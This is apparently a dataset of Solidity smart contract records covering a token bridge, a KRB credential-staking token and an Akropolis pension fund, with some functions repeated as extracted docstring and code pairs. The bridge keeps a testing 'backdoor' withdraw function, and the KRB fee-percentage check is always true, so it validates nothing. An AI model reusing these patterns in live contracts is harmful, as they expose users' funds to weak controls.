require(msg.value == _amount);
} else {
require(ERC20(_token).transferFrom(msg.sender, address(this), _amount));
}
//Create an item with a unique key.
bytes32 id = create(
msg.sender,
_recipient,
_token,
_amount
);
emit LogLock(
id,
msg.sender,
_recipient,
_token,
_amount,
getNonce()
);
return id;
}
/*
* @dev: Unlocks ethereum/erc20 tokens, called by relayer.
*
* This is a shortcut utility method for testing purposes.
* In the future bidirectional system, unlocking functionality
* will be guarded by validator signatures.
*
* @param _id: Unique key of the item.
*/
function unlock(
bytes32 _id
)
onlyRelayer
canDeliver(_id)
external
returns (bool)
{
require(isLocked(_id));
// Transfer item's funds and unlock it
(address payable sender,
address token,
uint256 amount,
uint256 uniqueNonce) = complete(_id);
//Emit unlock event
emit LogUnlock(
_id,
sender,
token,
amount,
uniqueNonce
);
return true;
}
/*
* @dev: Withdraws ethereum/erc20 tokens, called original sender.
*
* This is a backdoor utility method included for testing,
* purposes, allowing users to withdraw their funds. This
* functionality will be removed in production.
*
* @param _id: Unique key of the item.
*/
function withdraw(
bytes32 _id
)
onlySender(_id)
canDeliver(_id)
external
returns (bool)
{
require(isLocked(_id));
// Transfer item's funds and unlock it
(address payable sender,
address token,
uint256 amount,
uint256 uniqueNonce) = complete(_id);
//Emit withdraw event
emit LogWithdraw(
_id,
sender,
token,
amount,
uniqueNonce
);
return true;
}
/*
* @dev: Exposes an item's current status.
*
* @param _id: The item in question.
* @return: Boolean indicating the lock status.
*/
function getStatus(
bytes32 _id
)
public
view
returns(bool)
{
return isLocked(_id);
}
/*
* @dev: Allows access to an item's information via its unique identifier.
*
* @param _id: The item to be viewed.
* @return: Original sender's address.
* @return: Intended receiver's address in bytes.
* @return: The token's address.
* @return: The amount locked in the item.
* @return: The item's unique nonce.
*/
function viewItem(
bytes32 _id
)
public
view
returns(address, bytes memory, address, uint256, uint256)
{
return getItem(_id);
}
/*
* @dev: Relayer can pause fund locking without impacting other functionality.
*/
function pauseLocking()
public
onlyRelayer
{
require(active);
active = false;
emit LogLockingPaused(now);
}
/*
* @dev: Relayer can activate fund locking without impacting other functionality.
*/
function activateLocking()
public
onlyRelayer
{
require(!active);
active = true;
emit LogLockingActivated(now);
}
}
|
: Relayer can activate fund locking without impacting other functionality./
|
function activateLocking()
public
onlyRelayer
{
require(!active);
active = true;
emit LogLockingActivated(now);
}
| 12,916,227 |
/// SPDX-License-Identifier: MIT
/// @title KRB Token Protocol v 0.1 - http://krebit.id
/// @author Krebit Inc. <[email protected]>
pragma solidity ^0.8.0;
/// @dev OpenZeppelin Upgradeable Contracts v4.4.1
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20BurnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PullPaymentUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "./VCTypesV01.sol";
/**
* @notice {ERC20} token with OpenZeppelin Extensions:
*
* - Initializable,
* - ContextUpgradeable,
* - UUPSUpgradeable
* - AccessControlEnumerableUpgradeable,
* - ERC20BurnableUpgradeable,
* - ERC20PausableUpgradeable,
* - EIP712Upgradeable,
* - PullPaymentUpgradeable,
* - ReentrancyGuardUpgradeable
*
* This contract uses {AccessControlEnumerable} to lock permissioned functions using the
* different roles:
*
* The account that deploys the contract will be granted the govern role,
* as well as the default admin role, which will let it grant govern roles
* to other accounts.
*/
contract KRBTokenV01 is
Initializable,
ContextUpgradeable,
AccessControlEnumerableUpgradeable,
ERC20BurnableUpgradeable,
ERC20PausableUpgradeable,
EIP712Upgradeable,
UUPSUpgradeable,
PullPaymentUpgradeable,
ReentrancyGuardUpgradeable
{
using SafeMathUpgradeable for uint256;
bytes32 public constant GOVERN_ROLE = keccak256("GOVERN_ROLE");
/**
* @notice Min Balance to Transfer
*/
uint256 public minBalanceToTransfer;
/**
* @notice Min Balance to Receive
*/
uint256 public minBalanceToReceive;
/**
* @notice Min Balance to Issue Verifiable Credentials
*/
uint256 public minBalanceToIssue;
/**
* @notice Min Value to Issue Verifiable Credentials
*/
uint256 public minPriceToIssue;
/**
* @notice Min Stake to Issue Verifiable Credentials
*/
uint256 public minStakeToIssue;
/**
* @notice Max Stake to Issue Verifiable Credentials
*/
uint256 public maxStakeToIssue;
/**
* @notice Fee to Issue Verifiable Credentials
*/
uint256 public feePercentage;
/**
* @notice Total fees collected by the contract
*/
uint256 public feesAvailableForWithdraw; //wei
/**
* @dev For config updates
*/
event Updated();
//// @dev https://www.w3.org/TR/vc-data-model/#status
enum Status {
None,
Issued,
Disputed,
Revoked,
Suspended,
Expired
}
struct VerifiableData {
Status credentialStatus;
bytes32 disputedBy;
}
/// @dev Mapping of rewarded VCTypesV01.VerifiableCredentials. Key is a hash of the vc data
mapping(bytes32 => VerifiableData) public registry;
/**
* @dev The stakes for each Issuer.
*/
mapping(address => uint256) internal stakes;
event Issued(bytes32 uuid, VCTypesV01.VerifiableCredential vc);
event Disputed(bytes32 uuid, bytes32 disputedBy);
event Revoked(bytes32 uuid, string reason);
event Suspended(bytes32 uuid, string reason);
event Expired(bytes32 uuid);
event Deleted(bytes32 uuid, string reason);
event Staked(address indexed from, address indexed to, uint256 value);
function initialize(
string memory name,
string memory symbol,
string memory version
) public virtual initializer {
__KRBTokenV01_init(name, symbol, version);
}
/**
* @notice Initializes the contract.
*
* See {ERC20-constructor}.
*/
function __KRBTokenV01_init(
string memory name,
string memory symbol,
string memory version
) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20Burnable_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
__EIP712_init_unchained(name, version); //version
__PullPayment_init_unchained();
__ReentrancyGuard_init_unchained();
__KRBTokenV01_init_unchained(name, symbol, version);
}
/**
* @notice Grants `DEFAULT_ADMIN_ROLE`, `GOVERN_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* - minBalanceToTransfer : 100 KRB
* - minBalanceToReceive : 100 KRB
* - feePercentage : 10 %
* - minBalanceToIssue : 100 KRB
* - minPriceToIssue : 0.0001 ETH
* - minStakeToIssue : 1 KRB
* - maxStakeToIssue : 10 KRB
*/
function __KRBTokenV01_init_unchained(
string memory,
string memory,
string memory
) internal onlyInitializing {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(GOVERN_ROLE, _msgSender());
minBalanceToTransfer = 100 * 10**decimals(); /// @dev 100 KRB
minBalanceToReceive = 100 * 10**decimals(); /// @dev 100 KRB
feePercentage = 10; /// @dev 10 %
minBalanceToIssue = 100 * 10**decimals(); /// @dev 100 KRB
minPriceToIssue = 100 * 10**12; /// @dev wei = 0.0001 ETH
minStakeToIssue = 1 * 10**decimals(); /// @dev 1 KRB
maxStakeToIssue = 10 * 10**decimals(); /// @dev 10 KRB
}
/**
* @notice Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* See {UUPSUpgradeable-_authorizeUpgrade}.
*
* Requirements:
*
* - the caller must have the `GOVERN_ROLE`.
*/
function _authorizeUpgrade(address) internal view override {
require(
hasRole(GOVERN_ROLE, _msgSender()),
"KRBToken: must have govern role to upgrade"
);
}
/**
* @notice Updates all Protocol Parameters
* @param newMinBalanceToTransfer The new min baance to Transfer.
* @param newMinBalanceToReceive The new min balance to Receive.
* @param newMinBalanceToIssue New min Balance to Issue
* @param newFeePercentage new protocol fee percentage (0 -100)
* @param newMinPrice New min price to Issue
* @param newMinStake new min stake to issue
* @param newMinStake new max stake to issue
*
* - emits Updated()
*
* Requirements:
*
* - the caller must have the `GOVERN_ROLE`.
* - newMaxStake > newMinStake
*/
function updateParameters(
uint256 newMinBalanceToTransfer,
uint256 newMinBalanceToReceive,
uint256 newMinBalanceToIssue,
uint256 newFeePercentage,
uint256 newMinPrice,
uint256 newMinStake,
uint256 newMaxStake
) public {
require(
hasRole(GOVERN_ROLE, _msgSender()),
"KRBToken: must have govern role to change parameters"
);
minBalanceToTransfer = newMinBalanceToTransfer;
minBalanceToReceive = newMinBalanceToReceive;
minBalanceToIssue = newMinBalanceToIssue;
require(
newFeePercentage >= 0 || newFeePercentage <= 100,
"KRBToken: bad percentage value"
);
feePercentage = newFeePercentage;
minPriceToIssue = newMinPrice;
require(
newMaxStake > newMinStake,
"KRBToken: newMaxStake must be greater or equal than newMinStake"
);
minStakeToIssue = newMinStake;
maxStakeToIssue = newMaxStake;
emit Updated();
}
/**
* @dev Checks min balances before Issue / Mint / Transfer.
*
* Requirements:
*
* - the caller must have the `GOVERN_ROLE`.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20Upgradeable, ERC20PausableUpgradeable) {
super._beforeTokenTransfer(from, to, amount);
//Check minimum balance
require(
hasRole(GOVERN_ROLE, _msgSender()) ||
from == address(0) ||
to == address(0) ||
balanceOf(from) >= minBalanceToTransfer,
"KRBToken: sender does not have enough balance"
);
require(
hasRole(GOVERN_ROLE, _msgSender()) ||
from == address(0) ||
to == address(0) ||
balanceOf(to) >= minBalanceToReceive,
"KRBToken: recipient does not have enough balance"
);
}
/**
*
* @notice Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `GOVERN_ROLE`.
*/
function mint(address to, uint256 amount) public virtual {
require(
hasRole(GOVERN_ROLE, _msgSender()),
"KRBToken: must have govern role to mint"
);
_mint(to, amount);
}
/**
* @notice Destroys `_stake` token stake from `issuer`
* @param issuer The issuer address
* @param stake The KRB stake to burn
*
* - emits Updated("minBalanceToReceive")
*
* Requirements:
* - the caller must have the `GOVERN_ROLE`.
*/
function burnStake(address issuer, uint256 stake) public virtual {
require(
hasRole(GOVERN_ROLE, _msgSender()),
"KRBToken: must have govern role to burn"
);
require(
issuer != address(0),
"KRBToken: burn stake from the zero address"
);
//remove Issuer stake
if (stakes[issuer] >= stake) {
stakes[issuer] = stakes[issuer].sub(stake);
emit Staked(issuer, address(0), stake);
}
}
/**
* @notice Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(
hasRole(GOVERN_ROLE, _msgSender()),
"KRBToken: must have govern role to pause"
);
_pause();
}
/**
* @notice Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(
hasRole(GOVERN_ROLE, _msgSender()),
"KRBToken: must have govern role to unpause"
);
_unpause();
}
/**
* @notice A method to retrieve the stake for an issuer.
* @param issuer The issuer to retrieve the stake for.
* @return stake The amount of KRB staked.
*/
function stakeOf(address issuer) public view returns (uint256) {
return stakes[issuer];
}
/**
* @notice Returns the domain separator for the current chain.
*
* See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
/// @dev solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev Checks if the provided address signed a hashed message (`hash`) with
* `signature`.
*
* See {EIP-712} and {EIP-3009}.
*
*/
function validateSignedData(
address signer,
bytes32 structHash,
bytes memory signature
) internal view {
bytes32 digest = _hashTypedDataV4(structHash);
address recoveredAddress = ECDSAUpgradeable.recover(digest, signature);
/// @dev Explicitly disallow authorizations for address(0) as ecrecover returns address(0) on malformed messages
require(
recoveredAddress != address(0),
"KRBToken: invalid signature address(0)"
);
require(
recoveredAddress == signer,
"KRBToken: recovered address differs from expected signer"
);
}
/**
* @notice Validates that the `VerifiableCredential` conforms to the VCTypes.
@param vc Verifiable Credential
*
*/
function getUuid(VCTypesV01.VerifiableCredential memory vc)
public
pure
returns (bytes32)
{
return VCTypesV01.getVerifiableCredential(vc);
}
/**
* @notice Get the status of a Verifiable Credential
* @param vc The verifiable Credential
*
* @return status Verifiable credential Status: None, Issued, Disputed, Revoked, Suspended, Expired
*
*/
function getVCStatus(VCTypesV01.VerifiableCredential memory vc)
public
view
returns (string memory)
{
bytes32 uuid = getUuid(vc);
Status temp = registry[uuid].credentialStatus;
if (temp == Status.None) return "None";
if (temp == Status.Issued) return "Issued";
if (temp == Status.Disputed) return "Disputed";
if (temp == Status.Revoked) return "Revoked";
if (temp == Status.Suspended) return "Suspended";
if (temp == Status.Expired) return "Expired";
return "Error";
}
/**
* @notice Register a Verifiable Credential
* @dev Calculates and distributes the ETH fee as percentage of price
* Formula: fee = price * feePercentage %
* @param vc The verifiable Credential
* @param proofValue EIP712-VC proofValue
*
* Requirements:
* - proofValue must be the Issuer's signature of the VC
* - sender must be the credentialSubject address
* - msg.value must be greater than minPriceToIssue
*
*/
function registerVC(
VCTypesV01.VerifiableCredential memory vc,
bytes memory proofValue
) public payable returns (bool) {
require(
vc.credentialSubject.ethereumAddress == _msgSender(),
"KRBToken: sender must be the credentialSubject address"
);
require(
msg.value >= minPriceToIssue,
"KRBToken: msg.value must be greater than minPriceToIssue"
);
bytes32 uuid = getUuid(vc);
validateSignedData(vc.issuer.ethereumAddress, uuid, proofValue);
VCTypesV01.validateVC(vc);
require(
registry[uuid].credentialStatus == Status.None,
"KRBToken: Verifiable Credential hash already been issued"
);
require(
balanceOf(vc.issuer.ethereumAddress) >= minBalanceToIssue,
"KRBToken: issuer does not have enough balance"
);
uint256 _stake = vc.credentialSubject.stake * 10**decimals();
require(
_stake >= minStakeToIssue && _stake <= maxStakeToIssue,
"KRBToken: stake must be between minStakeToIssue and maxStakeToIssue"
);
/// @dev Create the stake for the issuer
_burn(vc.issuer.ethereumAddress, _stake);
stakes[vc.issuer.ethereumAddress] = stakes[vc.issuer.ethereumAddress]
.add(_stake);
emit Staked(vc.issuer.ethereumAddress, address(0), _stake);
registry[uuid] = VerifiableData(Status.Issued, 0x0);
emit Issued(uuid, vc);
//Mint rewards
uint256 _reward = VCTypesV01.getReward(
_stake,
vc.credentialSubject.trust
);
_mint(vc.credentialSubject.ethereumAddress, _reward);
_mint(vc.issuer.ethereumAddress, _reward);
//Distributes fees
uint256 _fee = SafeMathUpgradeable.div(
SafeMathUpgradeable.mul(vc.credentialSubject.price, feePercentage),
100
);
_asyncTransfer(vc.issuer.ethereumAddress, msg.value.sub(_fee));
feesAvailableForWithdraw = feesAvailableForWithdraw.add(_fee);
return true;
}
/**
* @notice Delete a Verifiable Credential
* @param vc The verifiable Credential
* @param reason Reason for deleting
*
* Requirements:
* - sender must be the credentialSubject address
*
*/
function deleteVC(
VCTypesV01.VerifiableCredential memory vc,
string memory reason
) public returns (bool) {
require(
vc.credentialSubject.ethereumAddress == _msgSender(),
"KRBToken: sender must be the credentialSubject address"
);
bytes32 uuid = getUuid(vc);
require(
registry[uuid].credentialStatus == Status.Issued,
"KRBToken: state is not Issued"
);
registry[uuid].credentialStatus = Status.None;
emit Deleted(uuid, reason);
uint256 _stake = vc.credentialSubject.stake * 10**decimals();
uint256 _reward = VCTypesV01.getReward(
_stake,
vc.credentialSubject.trust
);
//remove Issuer stake
if (stakes[vc.issuer.ethereumAddress] >= _stake) {
stakes[vc.issuer.ethereumAddress] = stakes[
vc.issuer.ethereumAddress
].sub(_stake);
emit Staked(address(0), vc.issuer.ethereumAddress, _stake);
}
_mint(vc.issuer.ethereumAddress, _stake);
//discard rewards
_burn(vc.credentialSubject.ethereumAddress, _reward);
_burn(vc.issuer.ethereumAddress, _reward);
return true;
}
/**
* @notice Revoke a Verifiable Credential
* @param vc The verifiable Credential
* @param reason Reason for revoking
*
* Requirements:
* - sender must be the issuer address
*
*/
function revokeVC(
VCTypesV01.VerifiableCredential memory vc,
string memory reason
) public returns (bool) {
require(
vc.issuer.ethereumAddress == _msgSender(),
"KRBToken: sender must be the issuer address"
);
bytes32 uuid = getUuid(vc);
require(
registry[uuid].credentialStatus == Status.Issued,
"KRBToken: state is not Issued"
);
registry[uuid].credentialStatus = Status.Revoked;
emit Revoked(uuid, reason);
uint256 _stake = vc.credentialSubject.stake * 10**decimals();
uint256 _reward = VCTypesV01.getReward(
_stake,
vc.credentialSubject.trust
);
//remove Issuer stake
if (stakes[vc.issuer.ethereumAddress] >= _stake) {
stakes[vc.issuer.ethereumAddress] = stakes[
vc.issuer.ethereumAddress
].sub(_stake);
emit Staked(address(0), vc.issuer.ethereumAddress, _stake);
}
_mint(vc.issuer.ethereumAddress, _stake);
//discard rewards
_burn(vc.credentialSubject.ethereumAddress, _reward);
_burn(vc.issuer.ethereumAddress, _reward);
return true;
}
/**
* @notice Suspend a Verifiable Credential
* @param vc The verifiable Credential
* @param reason Reason for suspending
*
* Requirements:
* - sender must be the issuer address
*
*/
function suspendVC(
VCTypesV01.VerifiableCredential memory vc,
string memory reason
) public returns (bool) {
require(
vc.issuer.ethereumAddress == _msgSender(),
"KRBToken: sender must be the issuer address"
);
bytes32 uuid = getUuid(vc);
require(
registry[uuid].credentialStatus == Status.Issued,
"KRBToken: state is not Issued"
);
registry[uuid].credentialStatus = Status.Suspended;
emit Suspended(uuid, reason);
uint256 _stake = vc.credentialSubject.stake * 10**decimals();
uint256 _reward = VCTypesV01.getReward(
_stake,
vc.credentialSubject.trust
);
//remove Issuer stake
if (stakes[vc.issuer.ethereumAddress] >= _stake) {
stakes[vc.issuer.ethereumAddress] = stakes[
vc.issuer.ethereumAddress
].sub(_stake);
emit Staked(address(0), vc.issuer.ethereumAddress, _stake);
}
_mint(vc.issuer.ethereumAddress, _stake);
//reward from subject is lost
_burn(vc.credentialSubject.ethereumAddress, _reward);
return true;
}
/**
* @notice Mark a Verifiable Credential as Expired
* @param vc The verifiable Credential
*
*/
function expiredVC(VCTypesV01.VerifiableCredential memory vc)
external
returns (bool)
{
bytes32 uuid = getUuid(vc);
if (block.timestamp > vc.credentialSubject.exp) {
uint256 _stake = vc.credentialSubject.stake * 10**decimals();
//remove Issuer stake
if (stakes[vc.issuer.ethereumAddress] >= _stake) {
stakes[vc.issuer.ethereumAddress] = stakes[
vc.issuer.ethereumAddress
].sub(_stake);
emit Staked(address(0), vc.issuer.ethereumAddress, _stake);
}
_mint(vc.issuer.ethereumAddress, _stake);
//rewards remain unless VC is disputed
registry[uuid].credentialStatus = Status.Expired;
emit Expired(uuid);
}
return (block.timestamp > vc.credentialSubject.exp);
}
/**
* @notice Called by DAO Govern arbitration to resolve a dispute
* @param vc The verifiable Credential
* @param disputeVC Dispute Credential
*
* Requirements:
* - sender must be the DAO Govern address
*
*/
function disputeVCByGovern(
VCTypesV01.VerifiableCredential memory vc,
VCTypesV01.VerifiableCredential memory disputeVC
) public returns (bool) {
require(
hasRole(GOVERN_ROLE, _msgSender()),
"KRBToken: must have govern role to resolve dispute"
);
require(
keccak256(abi.encodePacked(disputeVC._type)) ==
keccak256(
abi.encodePacked(
'["VerifiableCredential","DisputeCredential"]'
)
),
"KRBToken: dispute claim type must be DisputeCredential"
);
require(
disputeVC.issuer.ethereumAddress == _msgSender(),
"KRBToken: issuer must be the Govern address"
);
require(
keccak256(abi.encodePacked(disputeVC.credentialSubject.id)) ==
keccak256(abi.encodePacked(vc.id)),
"KRBToken: disputeVC credentialSubject id differes from VC id"
);
VCTypesV01.validateVC(disputeVC);
bytes32 uuid = getUuid(vc);
require(
registry[uuid].credentialStatus != Status.None &&
registry[uuid].credentialStatus != Status.Disputed,
"KRBToken: VC state already disputed"
);
bytes32 disputeUuid = getUuid(disputeVC);
registry[uuid].credentialStatus = Status.Disputed;
registry[uuid].disputedBy = disputeUuid;
emit Disputed(uuid, disputeUuid);
registry[disputeUuid].credentialStatus = Status.Issued;
emit Issued(disputeUuid, disputeVC);
uint256 _stake = vc.credentialSubject.stake * 10**decimals();
//Slash stake from Issuer
if (stakes[vc.issuer.ethereumAddress] >= _stake) {
stakes[vc.issuer.ethereumAddress] = stakes[
vc.issuer.ethereumAddress
].sub(_stake);
emit Staked(address(0), vc.issuer.ethereumAddress, _stake);
}
//Revert rewards from issuer and credentialSubject
uint256 _reward = VCTypesV01.getReward(
_stake,
vc.credentialSubject.trust
);
_burn(vc.credentialSubject.ethereumAddress, _reward);
_burn(vc.issuer.ethereumAddress, _reward);
/// @dev Reward disputer
uint256 _disputeStake = disputeVC.credentialSubject.stake *
10**decimals();
uint256 _disputeReward = VCTypesV01.getReward(
_disputeStake,
disputeVC.credentialSubject.trust
);
_mint(disputeVC.credentialSubject.ethereumAddress, _disputeReward);
return true;
}
/**
* @notice Withdraw fees collected by the contract.
* Requirements:
* - Only the DAO govern can call this.
*/
function withdrawFees(address payable _to, uint256 _amount)
external
nonReentrant
{
require(
hasRole(GOVERN_ROLE, _msgSender()),
"KRBToken: must have govern role to withdraw"
);
require(_amount <= feesAvailableForWithdraw); /// @dev Also prevents underflow
feesAvailableForWithdraw = feesAvailableForWithdraw.sub(_amount);
_asyncTransfer(_to, _amount);
}
uint256[50] private __gap;
}
|
Checks if the provided address signed a hashed message (`hash`) with `signature`. See {EIP-712} and {EIP-3009}./
|
function validateSignedData(
address signer,
bytes32 structHash,
bytes memory signature
) internal view {
bytes32 digest = _hashTypedDataV4(structHash);
address recoveredAddress = ECDSAUpgradeable.recover(digest, signature);
require(
recoveredAddress != address(0),
"KRBToken: invalid signature address(0)"
);
require(
recoveredAddress == signer,
"KRBToken: recovered address differs from expected signer"
);
| 6,441,291 |
/*
* The MIT License
*
* Copyright (c) 2017-2018 , Akropolis Decentralised Ltd (Gibraltar), http://akropolis.io
*
*/
pragma solidity ^0.4.24;
pragma experimental "v0.5.0";
import "./Board.sol";
import "./Ticker.sol";
import "./NontransferableShare.sol";
import "./Registry.sol";
import "./interfaces/PensionFund.sol";
import "./interfaces/ERC20Token.sol";
import "./utils/Set.sol";
import "./utils/Unimplemented.sol";
import "./utils/Owned.sol";
contract AkropolisFund is Owned, PensionFund, NontransferableShare, Unimplemented {
using AddressSet for AddressSet.Set;
// The pension fund manger
address public manager;
// An address that can trigger recurring contributions.
address public contributionManager;
// The ticker to source price data from
Ticker public ticker;
// The registry that the fund will be shown on
Registry public registry;
// Percentage of AUM over one year.
// TODO: Add a flat rate as well. Maybe also performance fees.
uint public managementFeePerYear;
// Users may not join unless they satisfy these minima.
uint public minimumLockupDuration;
uint public minimumPayoutDuration;
// Tokens that this fund is approved to own.
AddressSet.Set _approvedTokens;
// Tokens with nonzero balances.
// These are tracked for more-efficient computation of gross fund value.
AddressSet.Set _ownedTokens;
// Token in which benefits will be paid.
ERC20Token public denomination;
uint public denominationDecimals;
// The set of members of this fund and their details.
AddressSet.Set _members;
mapping(address => MemberDetails) public memberDetails;
// Candidate member join requests.
mapping(address => MembershipRequest) public membershipRequests;
// Member historic contributions.
mapping(address => Contribution[]) public contributions;
// The addresses permitted to set up a contribution schedule for a given beneficiary.
mapping(address => AddressSet.Set) _permittedContributors;
// Maps the contributors addresses to the set of all addresses for which they have a recurring payment
mapping(address => AddressSet.Set) _contributorBeneficiaries;
// Active contribution schedules. The signature here is (beneficiary => contributor => schedule).
mapping(address => mapping(address => RecurringContributionSchedule)) public contributionSchedule;
// Historic record of actions taken by the fund manager.
LogEntry[] public managementLog;
// The frequency at which the fund recomputes its value.
uint public recomputationDelay = 0;
// Historic price values.
FundValue[] public fundValues;
//
// structs
//
struct MembershipRequest {
uint timestamp;
uint lockupDuration;
uint payoutDuration;
bool setupSchedule;
uint scheduledContribution;
uint scheduleDelay;
uint scheduleDuration;
uint initialContribution;
uint expectedShares;
bool pending;
}
struct Contribution {
address contributor;
uint timestamp;
ERC20Token token;
uint quantity;
}
struct RecurringContributionSchedule {
ERC20Token token;
uint contributionQuantity;
uint contributionDelay; // TODO: Rename to periodLength
uint terminationTime;
uint previousContributionTime;
}
// Each member has a time after which they can withdraw benefits. Can be modified by fund directors.
// In addition they have a payment frequency, and the fund may make withdrawals of
// a given quantity from the member's account at no greater than the specified frequency.
struct MemberDetails {
uint joinTime;
uint unlockTime;
uint finalBenefitTime;
uint totalUnlockable;
}
enum LogType {
Withdrawal,
Deposit,
Approval
}
struct LogEntry {
LogType logType;
uint timestamp;
ERC20Token token;
uint quantity;
address account;
uint code;
string annotation;
}
struct FundValue {
uint value;
uint timestamp;
}
event Withdraw(address indexed member, uint indexed amount);
event ApproveToken(address indexed ERC20Token);
event RemoveToken(address indexed ERC20Token);
event newMembershipRequest(address indexed from);
event newMemberAccepted(address indexed member);
modifier onlyBoard {
require(msg.sender == address(board()), "Not board.");
_;
}
modifier onlyRegistry {
require(msg.sender == address(registry), "Not registry.");
_;
}
modifier onlyManager {
require(msg.sender == manager, "Not manager.");
_;
}
modifier onlyMember(address account) {
require(_members.contains(account), "Not member.");
_;
}
modifier onlyNotMember(address account) {
require(!_members.contains(account), "Already member.");
_;
}
modifier postRecordFundValueIfTime {
_;
_recordFundValueIfTime();
}
constructor(
Board _board,
address _manager,
Ticker _ticker,
Registry _registry,
uint _managementFeePerYear,
uint _minimumLockupDuration,
uint _minimumPayoutDuration,
ERC20Token _denomination,
string _name,
string _symbol
)
Owned(_board) // The board is the owner of this contract.
NontransferableShare(_name, _symbol) // Internal shares are managed as a non-transferrable ERC20 token
public
{
registry = _registry;
managementFeePerYear = _managementFeePerYear;
minimumLockupDuration = _minimumLockupDuration;
minimumPayoutDuration = _minimumPayoutDuration;
// All sets must first be initialised before they are used.
_members.initialise();
_approvedTokens.initialise();
_ownedTokens.initialise();
// By default the denominating asset is an approved investible token.
denomination = _denomination;
denominationDecimals = _denomination.decimals();
_approvedTokens.add(_denomination);
// Ticker records the fund value so that functions that rely upon
// obtaining the last fund valuation do not break.
// This must occur after the previous sets have been initialised.
ticker = _ticker;
_recordFundValue();
// Register the fund on the registry, msg.sender pays for it in AKT.
registry.addFund(msg.sender);
registry.updateManager(address(0x0), _manager);
manager = _manager;
}
function setManager(address newManager)
external
onlyBoard
returns (bool)
{
registry.updateManager(manager, newManager);
manager = newManager;
return true;
}
function resignAsManager()
external
onlyManager
{
registry.updateManager(manager, address(0));
manager = address(0);
}
function setContributionManager(address newContributionManager)
external
onlyBoard
returns (bool)
{
contributionManager = newContributionManager;
return true;
}
function nominateNewBoard(Board newBoard)
external
onlyBoard
returns (bool)
{
nominateNewOwner(address(newBoard));
return true;
}
function setManagementFee(uint newFee)
external
onlyBoard
returns (bool)
{
managementFeePerYear = newFee;
return true;
}
function setMinimumLockupDuration(uint newLockupDuration)
external
onlyBoard
returns (bool)
{
minimumLockupDuration = newLockupDuration;
return true;
}
function setMinimumPayoutDuration(uint newPayoutDuration)
external
onlyBoard
returns (bool)
{
minimumPayoutDuration = newPayoutDuration;
return true;
}
function setRecomputationDelay(uint delay)
external
onlyBoard
returns (bool)
{
recomputationDelay = delay;
return true;
}
function setDenomination(ERC20Token token)
external
onlyBoard
returns (bool)
{
_approvedTokens.remove(denomination);
_approvedTokens.add(token);
denomination = token;
denominationDecimals = token.decimals();
return true;
}
function setRegistry(Registry _registry)
external
onlyRegistry
{
registry = _registry;
}
// The board can only unlock someone's lock so that they
// can withdraw everything. A more robust system would allow
// a user to propose a modification to their payment schedule.
function resetTimeLock(address member)
external
onlyBoard
onlyMember(member)
returns (bool)
{
memberDetails[member].unlockTime = now;
memberDetails[member].finalBenefitTime = now;
return true;
}
function approveTokens(ERC20Token[] tokens)
external
onlyBoard
returns (bool)
{
for (uint i; i < tokens.length; i++) {
_approvedTokens.add(address(tokens[i]));
}
return true;
}
function disapproveTokens(ERC20Token[] tokens)
external
onlyBoard
returns (bool)
{
for (uint i; i < tokens.length; i++) {
_approvedTokens.remove(address(tokens[i]));
}
return true;
}
function isApprovedToken(address token)
external
view
returns (bool)
{
return _approvedTokens.contains(token);
}
function numApprovedTokens()
external
view
returns (uint)
{
return _approvedTokens.size();
}
function approvedToken(uint i)
external
view
returns (address)
{
return _approvedTokens.get(i);
}
function approvedTokens()
external
view
returns (address[])
{
return _approvedTokens.array();
}
function isOwnedToken(address token)
external
view
returns (bool)
{
return _ownedTokens.contains(token);
}
function numOwnedTokens()
external
view
returns (uint)
{
return _ownedTokens.size();
}
function ownedToken(uint i)
external
view
returns (address)
{
return _ownedTokens.get(i);
}
function ownedTokens()
external
view
returns (address[])
{
return _ownedTokens.array();
}
function isMember(address account)
external
view
returns (bool)
{
return _members.contains(account);
}
function numMembers()
external
view
returns (uint)
{
return _members.size();
}
function getMember(uint i)
external
view
returns (address)
{
return _members.get(i);
}
function board()
public
view
returns (Board)
{
return Board(owner);
}
function managementLogLength()
public
view
returns (uint)
{
return managementLog.length;
}
function unlockTime(address member)
public
view
returns (uint)
{
return memberDetails[member].unlockTime;
}
function joinTime(address member)
public
view
returns (uint)
{
return memberDetails[member].joinTime;
}
function contributorBeneficiaries(address contributor)
public
view
returns(address[])
{
return _contributorBeneficiaries[contributor].array();
}
function getContributorBeneficiary(address contributor, uint index)
public
view
returns(address)
{
return _contributorBeneficiaries[contributor].get(index);
}
function permittedContributors(address member)
public
view
returns (address[])
{
return _permittedContributors[member].array();
